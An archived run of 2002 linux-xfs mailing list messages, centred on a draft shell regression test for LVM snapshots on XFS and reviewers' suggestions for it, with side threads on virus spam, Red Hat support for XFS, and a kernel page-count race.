16:18:47 -0700 (PDT) Received: from imf02bis.bellsouth.net (mail002.mail.bellsouth.net [205.152.58.22]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SNIhtG006420 for ; Wed, 28 Aug 2002 16:18:43 -0700 Received: from TAZ2 ([66.156.1.201]) by imf02bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020828232349.TILF8089.imf02bis.bellsouth.net@TAZ2> for ; Wed, 28 Aug 2002 19:23:49 -0400 Date: Wed, 28 Aug 2002 19:20:49 -0400 From: Greg Freemyer Subject: Draft Snapshot Regression Test To: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020828232349.TILF8089.imf02bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7SNIitG006421 X-archive-position: 131 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Nathan, I think I have a working snapshot regression test. I have only tried it on a LVM 1.0.3 / xfs 1.1 / 2.4.19pre4-aa kernel and it fails within 10 iterations every time. I have seen a couple of successes, but only when I set the iteration count very low, like 2 or 3. On one occasion, the lvcreate locked up so tight, I had to reboot my server to get that FS unlocked. (i.e. cycle power because the shutdown command would not run.) THe script only uses the $SCRATCH_DEV and $SCRATCH_MNT variables from the xfs test harness. In my case $SCRATCH_DEV was an already existing scratch LV, so the PV, VG, LV creation steps are commented out and marked with TODO. I have not tested any of the TODO lines, but I think you will need them in your test environments. There are a few environmental variables at the beginning you can set to control a couple of things. I copied the license stuff from 067, but I changed it to my company instead of SGI. Feel free to make changes to this as required. The script is below my signature. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com ===================================== #! /bin/sh # XFS QA Test No. 068 # $Id: 1.1 $ # # Test LVM snapshot creation # # The timing and placement of kills and waits is particularily sensitive. # Don't change them unless you want to spend some time getting it right again. # #----------------------------------------------------------------------- # Copyright (c) 2000, 2002 The Norcross Group, Inc. All Rights Reserved. # # This program is free software; you can redistribute it and/or modify it # under the terms of version 2 of the GNU General Public License as # published by the Free Software Foundation. # # This program is distributed in the hope that it would be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # Further, this software is distributed without any warranty that it is # free of the rightful claim of any third person regarding infringement # or the like. Any license provided herein, whether implied or # otherwise, applies only to this software file. Patent licenses, if # any, provided herein do not apply to combinations of this program with # other software, or any other product whatsoever. # # You should have received a copy of the GNU General Public License along # with this program; if not, write the Free Software Foundation, Inc., 59 # Temple Place - Suite 330, Boston MA 02111-1307, USA. # # Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, # Mountain View, CA 94043, or: # # http://www.sgi.com # # For further information regarding this notice, see: # # http://oss.sgi.com/projects/GenInfo/SGIGPLNoticeExplan/ #----------------------------------------------------------------------- # # creator owner=freemyer@NorcrossGroup.com seq=`basename $0` echo "QA output created by $seq" DELAY_BETWEEN_ITERATIONS=20 ITERATIONS=30 VG=/dev/VGscratch #SCRATCH_DEV=/dev/xxxx # Only needed if running by hand #SCRATCH_MNT=/scratch # Only needed if running by hand here=`pwd` tmp=/tmp/$$ status=1 # failure is the default! _cleanup() { echo Cleanup beginning rm $tmp.running xfs_freeze -u $SCRATCH_MNT sleep 10 # Give the dd loop time to finish #Kill off any other possible stray stragglers that may be out there. fuser -k -m /scratch_snap/dummy >/dev/null 2>&1 fuser -k -m /$SCRATCH_MNT/dummy >/dev/null 2>&1 wait umount /scratch_snap rmdir /scratch_snap umount $SCRATCH_MNT lvremove -f $VG/scratch_snap lvremove -f $VG/scratch #TODO vgremove $VG rm -f $tmp.* # if we ever use tmp files trap 0 1 2 3 15 exit $status } trap "_cleanup" 0 1 2 3 15 # get standard environment, filters and checks . ./common.rc . ./common.filter if [ -e /scratch_snap ]; then _notrun "This test requires that /scratch_snap not exist."; fi mkdir /scratch_snap #Verify we have the lvm user tools LVM=`rpm -qa | grep 'lvm-'` if [ x$LVM = "x" ]; then _notrun "LVM Must be installed to run this test"; fi #Verify we have the a lvm enabled kernel # TODO (This assumes lvm is a module. What if it is linked? I don't know how to check that. lsmod | grep lvm-mod; if [ $? != 0 ]; then _notrun "This test requires the LVM kernel module be present"; fi # real QA test starts here # Create a PV set from the scratch partition # TODO # (I don't know if this is needed.and it is dangerous because it intentionally deletes the partition table!!! # TODO # dd if=/dev/zero of=$SCRATCH_DEV bs=512 count=1 # TODO # pvcreate $SCRATCH_DEV # Create a VG from the PV # TODO # vgcreate $VG $SCRATCH_DEV # Create a LV in the VG to snapshot # TODO # lvcreate -L 2G -n scratch $VG # Mount the LV mkdir /$SCRATCH_MNT > /dev/null 2&>1 mount $VG/scratch /$SCRATCH_MNT # Create a large 64 Meg zero filled file on the LV dd if=/dev/zero of=$SCRATCH_MNT/dummy bs=64k count=1000 #setup an infinite loop to copy the large file, thus generating heavy i/o touch $tmp.running while [ -f $tmp.running ] do dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > /dev/null 2>&1 rm $SCRATCH_MNT/junk # This forces metadata updates the next time around sync done & ii=1 while [ $ii -le $ITERATIONS ] do # echo $ii Usefull if your are running interactive, but not from the xfs test scripts #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems # OPTIONAL xfs_freeze -f /$SCRATCH_MNT if [ $? != 0 ] ; then echo xfs_freeze -f /$SCRATCH_MNT failed fi ( lvcreate --snapshot --size 1G --name scratch_snap $VG/scratch > /dev/null 2>&1 ret=$? if [ $ret != 0 ] ; then echo snapshot creation for /$SCRATCH_MNT failed with return code $ret fi ) & SNAPSHOT_shell_pid=$! #if the Snapshot has not completed in ten minutes, kill it ( # I have NOT figured out how to kill the sleep 600 before it exits naturally. # This does not cause a problem, but it clutters the ps table. sleep 600 # The kill $TIMEOUT_shell_pid keeps the below from occuring echo Snapshot Lockup Occured on loop $ii xfs_freeze -u /$SCRATCH_MNT kill $$ ) & TIMEOUT_shell_pid=$! wait $SNAPSHOT_shell_pid exec 2> /dev/null # Send the shells stderr to /dev/null kill $TIMEOUT_shell_pid #Cancel the timeout wait $TIMEOUT_shell_pid # This causes consistent shell notification for some unknow reason exec 2>&1 # Put it back to the same as stdout #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems # OPTIONAL xfs_freeze -u /$SCRATCH_MNT if [ $? != 0 ] ; then echo xfs_freeze -u /$SCRATCH_MNT failed fi # MANDANTORY (end) mount -t xfs -o ro,nouuid $VG/scratch_snap /scratch_snap if [ $? != 0 ] ; then echo mount for /scratch_snap failed fi umount /scratch_snap if [ $? != 0 ] ; then echo unmount for /scratch_snap failed fi lvremove -f $VG/scratch_snap > /dev/null 2>&1 if [ $? != 0 ] ; then echo lvremove for /scratch_snap failed fi ii=`expr $ii + 1` sleep $DELAY_BETWEEN_ITERATIONS # The VG seems to need time to stabalize between snapshots # With LVM 1.0.3 and XFS 1.1, I have tried this at 3600 seconds and still had failures done # success, all done echo SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! status=0 _cleanup exit 1 # _cleanup should exit, so we should never get here. From owner-linux-xfs@oss.sgi.com Wed Aug 28 17:34:21 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 17:34:26 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7T0YKtG008290 for ; Wed, 28 Aug 2002 17:34:20 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA39958; Wed, 28 Aug 2002 19:37:48 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id TAA73235; Wed, 28 Aug 2002 19:37:47 -0500 (CDT) Date: Wed, 28 Aug 2002 19:35:45 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Daniel Mose cc: linux-xfs@oss.sgi.com Subject: Re: virus Re: A very new website In-Reply-To: <20020828232612.A7699@extra.netlink.se> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 132 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs I'm repeatedly pinging the people who can do something about this - sorry for the inconvenience (and expense :/ ) -Eric On Wed, 28 Aug 2002, Daniel Mose wrote: > > Ethan Benson wrote: > > On Wed, Aug 28, 2002 at 12:02:42AM -0600, D. Stimits wrote: > > > > > > This KLEZ virus is going around all over the place. SGI isn't the only > > > list that is sending these out, but the virus is so darn common now I > > > have to wonder if improved filtering is needed on public lists. One type > > > of message that should never be sent to XFS devel is > > > "application/octet-stream"...if this one line could be used as a junk > > > buster (virus buster), we'd get rid of a whole family of MS virii. > > > > these things are sent as general spams anyway so filtering off lists > > won't make a dent. the only way to get rid of MS viruses is to get > > rid of MS software. > > -- > > Ethan Benson > > http://www.alaska.net/~erbenson/ > > > > The XFS list is the only mailing list (or personal mbox) > that I recieve "octet streams" from. Today it amounted > to almost 1MB. Not all persons here are on ADSL. Please at > least _try_ not to waste peoples bandwidth with crap. > > Regards > /Daniel > > From owner-linux-xfs@oss.sgi.com Wed Aug 28 21:37:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 21:37:45 -0700 (PDT) Received: from ns1.srv.hcvlny.cv.net (ns1.srv.hcvlny.cv.net [167.206.1.30]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7T4bdtG011011 for ; Wed, 28 Aug 2002 21:37:39 -0700 Received: from nic.com (ool-4350f032.dyn.optonline.net [67.80.240.50]) by ns1.srv.hcvlny.cv.net (8.9.3/8.9.1) with ESMTP id AAA09523 for ; Thu, 29 Aug 2002 00:41:14 -0400 (EDT) Message-ID: <3D6DA5A3.58D3B8AB@nic.com> Date: Thu, 29 Aug 2002 00:40:04 -0400 From: John W Reply-To: jwest@nic.com Organization: Long Pond Ind X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-xfs i686) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: RedHat Advanced Server and XFS Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id g7T4betG011012 X-archive-position: 133 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jwest@nic.com Precedence: bulk X-list: linux-xfs Folks, I asked about doing that when looking at the product. They were not willing to support the kernel issues if the Kernel were recompiled, or file system changed. That dang well makes it impossible to use XFS and have meaningful contract support from RH. My response is to puchase additional liceneses of RHL at the $80 per year for RPM support. Hope they understand that! RHAT Premium is $2500... so there is a bit of savings there. In that case, is it better to use a mandrake based dist? Vendor pressure on customer somehow sounds like a real bad thing in a partner. Sounds like another Mighty OS vendor I have run across in travels. JDW -- # Inspire Growth # From owner-linux-xfs@oss.sgi.com Wed Aug 28 21:42:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 21:42:57 -0700 (PDT) Received: from ns1.srv.hcvlny.cv.net (ns1.srv.hcvlny.cv.net [167.206.1.30]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7T4gttG011498 for ; Wed, 28 Aug 2002 21:42:55 -0700 Received: from nic.com (ool-4350f032.dyn.optonline.net [67.80.240.50]) by ns1.srv.hcvlny.cv.net (8.9.3/8.9.1) with ESMTP id AAA09663 for ; Thu, 29 Aug 2002 00:46:30 -0400 (EDT) Message-ID: <3D6DA6E0.743759E2@nic.com> Date: Thu, 29 Aug 2002 00:45:20 -0400 From: John W Reply-To: jwest@nic.com Organization: Long Pond Ind X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-xfs i686) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Group Level access control for Web Services Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id g7T4gutG011499 X-archive-position: 134 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jwest@nic.com Precedence: bulk X-list: linux-xfs Folks, am looking at extacting Group affiliations from Active Directoy (JW Ducks!) to support a team based environment with Samba/Apache. Have RHL/XFS machine using NT/AD domain for logins, but the group data isnt making the trip! Where can I find this group data? Can I do this with ACL's Thanks John W. -- # Inspire Growth # From owner-linux-xfs@oss.sgi.com Wed Aug 28 21:52:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 21:52:02 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7T4pxtG012064 for ; Wed, 28 Aug 2002 21:52:00 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id XAA41001; Wed, 28 Aug 2002 23:55:29 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id XAA26152; Wed, 28 Aug 2002 23:55:29 -0500 (CDT) Date: Wed, 28 Aug 2002 23:53:25 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: John W cc: linux-xfs@oss.sgi.com Subject: Re: RedHat Advanced Server and XFS In-Reply-To: <3D6DA5A3.58D3B8AB@nic.com> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 135 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs John - I have to say that I can't argue with them. They are set up to support their product, and XFS is not (in) their product. I wish it were, but until then, I would expect them to respond just as they are. Signing up to a service level agreement on an "alien" product would be foolish of them. It's just bid'ness. (/me has been watching gangster movies this week). OTOH, if you let them know that they're missing out on your $2.5k because they don't have XFS, that might put some pressure in the right direction. -Eric On Thu, 29 Aug 2002, John W wrote: > I asked about doing that when looking at the product. > > They were not willing to support the kernel issues if the Kernel were > recompiled, or file system changed. That > dang well makes it impossible to use XFS and have meaningful contract > support from RH. From owner-linux-xfs@oss.sgi.com Wed Aug 28 23:07:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 23:07:54 -0700 (PDT) Received: from darwin.libc.org (ucntcme224.dsl.micron.net [206.207.111.224] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7T67ntG013108 for ; Wed, 28 Aug 2002 23:07:49 -0700 Received: (qmail 24616 invoked from network); 28 Aug 2002 22:57:33 -0000 Received: from ucntcme231.dsl.micron.net (HELO locutus.libc.org) (?5mhuwMlbznXMVhI/VCJzUoRSx5RntaN2?@206.207.111.231) by ucntcme224.dsl.micron.net with SMTP; 28 Aug 2002 22:57:33 -0000 Subject: Re: RedHat Advanced Server and XFS From: Bill Anderson To: "Linux XFS (SGI)" In-Reply-To: <3D6DA5A3.58D3B8AB@nic.com> References: <3D6DA5A3.58D3B8AB@nic.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 29 Aug 2002 00:11:25 -0600 Message-Id: <1030601486.10305.157.camel@locutus> Mime-Version: 1.0 X-archive-position: 136 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bill@immosys.com Precedence: bulk X-list: linux-xfs On Wed, 2002-08-28 at 22:40, John W wrote: > > Folks, > > I asked about doing that when looking at the product. > > They were not willing to support the kernel issues if the Kernel were > recompiled, or file system changed. That Seems reasonable to me, you are modifying the system in ways they have not tested and confirmed working. Kind of like putting a Chevy engine in your new Dodge is not "supported" by Chrysler --even better it voids your warranty. At least with RHAS, if you put the stock kernel (or one of their upgraded ones) that is supported, you get your support. > dang well makes it impossible to use XFS and have meaningful contract > support from RH. > > My response is to puchase additional liceneses of RHL at the $80 per > year for RPM support. Hope they understand that! I build from the SRPMs they provide on their site. A bit time consuming the first time, but provides nice test servers for various experiments. :) > Vendor pressure on customer somehow sounds like a real bad thing in a > partner. Sounds like another Mighty OS vendor I have run across in > travels. What pressure? Either you use it in a configuration they can support and get support, or you use it in a configuration they do not support, and can't complain that they don't support it when you muck around in the kernel. No pressure, just a choice on your end. :^) As Eric noted, the best thing is to pressure them economically to put XFS in there. -- Bill Anderson Immosys Rebuilding the network of Tomorrow From owner-linux-xfs@oss.sgi.com Thu Aug 29 00:56:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 00:56:27 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7T7uMtG016532 for ; Thu, 29 Aug 2002 00:56:23 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id AAA08816 for ; Thu, 29 Aug 2002 00:59:57 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA26356; Thu, 29 Aug 2002 17:58:37 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7T7wMgM001594; Thu, 29 Aug 2002 17:58:22 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7T7wLeP001592; Thu, 29 Aug 2002 17:58:21 +1000 Date: Thu, 29 Aug 2002 17:58:21 +1000 From: Nathan Scott To: Greg Freemyer Cc: xfs mailing list Subject: Re: Draft Snapshot Regression Test Message-ID: <20020829075821.GA503@frodo> References: <20020828232349.TILF8089.imf02bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020828232349.TILF8089.imf02bis.bellsouth.net@TAZ2> User-Agent: Mutt/1.4i Content-Transfer-Encoding: 8bit X-archive-position: 137 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs hi Greg, On Wed, Aug 28, 2002 at 07:20:49PM -0400, Greg Freemyer wrote: > > Nathan, > > I think I have a working snapshot regression test. Cool. Should have mentioned this before - have you tried running this via the "check" script?, ie. # cd cmd/xfstests # ./check 068 this is how it would run as part of auto-qa - will need an output file which has the expected output from a "passing" run (ie. 068.out) like the other tests. Some other suggestions for your script follow... > owner=freemyer@NorcrossGroup.com > > seq=`basename $0` > echo "QA output created by $seq" > > DELAY_BETWEEN_ITERATIONS=20 > ITERATIONS=30 > VG=/dev/VGscratch > #SCRATCH_DEV=/dev/xxxx # Only needed if running by hand > #SCRATCH_MNT=/scratch # Only needed if running by hand These would be setup by "check" if running by hand, which uses the common.config (I think) file. > umount /scratch_snap > rmdir /scratch_snap Might be better to do this in /tmp/scratch_snap? > umount $SCRATCH_MNT > > lvremove -f $VG/scratch_snap > lvremove -f $VG/scratch > > if [ -e /scratch_snap ]; then _notrun "This test requires that /scratch_snap not exist."; fi Could then rmdir it here instead of this step. > mkdir /scratch_snap > > #Verify we have the lvm user tools > LVM=`rpm -qa | grep 'lvm-'` Thats not so good - makes it dependent on rpm - better to do something like: [ -x /sbin/lvcreate ] || _notrun "LVM lvcreate utility is not installed" [ -x /sbin/lvremove ] || _notrun "LVM lvremove utility is not installed" > #Verify we have the a lvm enabled kernel > # TODO (This assumes lvm is a module. What if it is linked? I don't know how to check that. > lsmod | grep lvm-mod; > if [ $? != 0 ]; then _notrun "This test requires the LVM kernel module be present"; fi A better approach here would be to grep for lvm in /proc/devices, this would work for module/non-module builds. > # Mount the LV > mkdir /$SCRATCH_MNT > /dev/null 2&>1 > mount $VG/scratch /$SCRATCH_MNT need the leading '/' here? > while [ -f $tmp.running ] > do > dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > /dev/null 2>&1 > rm $SCRATCH_MNT/junk # This forces metadata updates the next time around > sync > done & This loop still looks strange to me... (the dd is forever, so why rm and sync?)... but possibly its meant to be so. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Aug 29 02:07:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 02:07:58 -0700 (PDT) Received: from relay.dstl.gov.uk (ftp.hpcn-ttn.org [192.5.29.48] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7T97ptG017642 for ; Thu, 29 Aug 2002 02:07:51 -0700 Received: (qmail 2718 invoked from network); 29 Aug 2002 10:10:42 +0100 Received: from syntax.dera.gov.uk (HELO syntax.dstl.gov.uk) (146.80.9.50) by ftp.hpcn-ttn.org with SMTP; 29 Aug 2002 10:10:42 +0100 Subject: from LKML [Fwd: Re: MM patches against 2.5.31] From: Tony Gale To: XFS Mailing List Content-type: text/plain X-Mailer: Ximian Evolution 1.0.8.99 Date: 29 Aug 2002 10:11:10 +0100 Message-Id: <1030612285.28740.5.camel@syntax.dstl.gov.uk> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-archive-position: 138 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gale@syntax.dstl.gov.uk Precedence: bulk X-list: linux-xfs In case this was missed, re-posting here. Haven't found the message Daniel referenced, so don't know if it is something XFS is doing to trigger this race condition or not. Cheers, -tony -- Attached file included as plaintext by Ecartis -- -- Desc: Forwarded message - Re: MM patches against 2.5.31 Received: (qmail 12115 invoked from network); 29 Aug 2002 00:20:24 +0100 Received: from virgil.dstl.gov.uk (146.80.9.12) by taz.dera.gov.uk with SMTP; 29 Aug 2002 00:20:24 +0100 Received: from relay.dera.gov.uk (not verified[146.80.9.3]) by virgil.dstl.gov.uk with MailMarshal (4,2,5,0) id ; Thu, 29 Aug 2002 00:20:26 +0100 X-Proxy: warlock.dstl.gov.uk protected by Firewall Received: (qmail 11831 invoked by uid 501); 29 Aug 2002 00:20:27 +0100 Delivered-To: hermes-gale@syntax.dera.gov.uk Received: (qmail 11825 invoked from network); 29 Aug 2002 00:20:26 +0100 Received: from vger.kernel.org (209.116.70.75) by relay.dera.gov.uk with SMTP; 29 Aug 2002 00:20:26 +0100 Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id ; Wed, 28 Aug 2002 19:13:49 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id ; Wed, 28 Aug 2002 19:13:48 -0400 Received: from dsl-213-023-022-149.arcor-ip.net ([213.23.22.149]:4045 "EHLO starship") by vger.kernel.org with ESMTP id ; Wed, 28 Aug 2002 19:12:40 -0400 Received: from daniel by starship with local (Exim 3.35 #1 (Debian)) id 17kBkK-0002uI-00; Thu, 29 Aug 2002 00:57:08 +0200 Content-Type: text/plain; charset=US-ASCII From: Daniel Phillips To: Andrew Morton Subject: Re: MM patches against 2.5.31 Date: Thu, 29 Aug 2002 00:57:06 +0200 X-Mailer: KMail [version 1.3.2] Cc: Christian Ehrhardt , lkml , "linux-mm@kvack.org" References: <3D644C70.6D100EA5@zip.com.au> <3D6D5128.9EE6DFDD@zip.com.au> In-Reply-To: <3D6D5128.9EE6DFDD@zip.com.au> MIME-Version: 1.0 Content-Transfer-Encoding: 7BIT Message-Id: Sender: linux-kernel-owner@vger.kernel.org Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org On Thursday 29 August 2002 00:39, Andrew Morton wrote: > Daniel Phillips wrote: > > > > ... > > So there's no question that the race is lurking in 2.4. I noticed several > > more paths besides the one above that look suspicious as well. The bottom > > line is, 2.4 needs a fix along the lines of my suggestion or Christian's, > > something that can actually be proved. > > > > It's a wonder that this problem manifests so rarely in practice. > > I sort-of glanced through the 2.4 paths and it appears that in all of the > places where it could do a page_cache_get/release, that would never happen > because of other parts of the page state. > > Like: it can't be in pagecache, so we won't run writepage, and > it can't have buffers, so we won't run try_to_release_page(). > > Of course, I might have missed a path. And, well, generally: ugh. I think it is happening. I just went sifting searching through the archives on 'oops' and '2.4'. The first one I found was: 2.4.18-xfs (xfs related?) oops report which fits the description nicely. The race I showed actually causes the page->count to go negative, avoiding a double free on a technicality. That doesn't make me feel much better about it. Have you got a BUG_ON(!page_count(page)) in put_page_testzero? I think we might see some action. -- Daniel - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From owner-linux-xfs@oss.sgi.com Thu Aug 29 05:08:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 05:08:31 -0700 (PDT) Received: from stine.vestdata.no (IDENT:0@stine.vestdata.no [195.204.68.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TC8OtG031432 for ; Thu, 29 Aug 2002 05:08:25 -0700 Received: (from ragnark@localhost) by stine.vestdata.no (8.11.6/8.11.2) id g7TCBlr19192; Thu, 29 Aug 2002 14:11:47 +0200 Date: Thu, 29 Aug 2002 14:11:46 +0200 From: =?iso-8859-1?Q?Ragnar_Kj=F8rstad?= To: Nathan Scott Cc: Greg Freemyer , xfs mailing list Subject: Re: Draft Snapshot Regression Test Message-ID: <20020829141146.Q6228@vestdata.no> References: <20020828232349.TILF8089.imf02bis.bellsouth.net@TAZ2> <20020829075821.GA503@frodo> Mime-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020829075821.GA503@frodo>; from nathans@sgi.com on Thu, Aug 29, 2002 at 05:58:21PM +1000 X-MIME-Autoconverted: from 8bit to quoted-printable by stine.vestdata.no id g7TCBlr19192 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7TC8PtG031433 X-archive-position: 139 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: xfs@ragnark.vestdata.no Precedence: bulk X-list: linux-xfs On Thu, Aug 29, 2002 at 05:58:21PM +1000, Nathan Scott wrote: > > #Verify we have the a lvm enabled kernel > > # TODO (This assumes lvm is a module. What if it is linked? I don't know how to check that. > > lsmod | grep lvm-mod; > > if [ $? != 0 ]; then _notrun "This test requires the LVM kernel module be present"; fi > > A better approach here would be to grep for lvm in /proc/devices, > this would work for module/non-module builds. or [ -d /proc/lvm ] || _notrun -- Ragnar Kjørstad Big Storage From owner-linux-xfs@oss.sgi.com Thu Aug 29 05:34:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 05:34:10 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TCY7tG003715 for ; Thu, 29 Aug 2002 05:34:07 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 2AD891481A; Thu, 29 Aug 2002 14:37:38 +0200 (MEST) Date: Thu, 29 Aug 2002 14:37:37 +0200 From: Andi Kleen To: Ragnar Kj?rstad Cc: Nathan Scott , Greg Freemyer , xfs mailing list Subject: Re: Draft Snapshot Regression Test Message-ID: <20020829143737.A6554@wotan.suse.de> References: <20020828232349.TILF8089.imf02bis.bellsouth.net@TAZ2> <20020829075821.GA503@frodo> <20020829141146.Q6228@vestdata.no> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020829141146.Q6228@vestdata.no> User-Agent: Mutt/1.3.22.1i Content-Transfer-Encoding: 8bit X-archive-position: 140 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs On Thu, Aug 29, 2002 at 02:11:46PM +0200, Ragnar Kj?rstad wrote: > > On Thu, Aug 29, 2002 at 05:58:21PM +1000, Nathan Scott wrote: > > > #Verify we have the a lvm enabled kernel > > > # TODO 